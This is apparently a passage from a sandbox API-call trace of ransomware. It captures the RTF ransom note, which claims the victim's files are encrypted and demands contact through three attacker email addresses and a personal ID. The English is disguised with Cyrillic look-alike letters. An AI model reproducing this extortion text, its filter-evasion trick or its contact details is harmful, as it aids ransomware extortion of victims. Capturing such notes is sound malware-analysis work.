i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 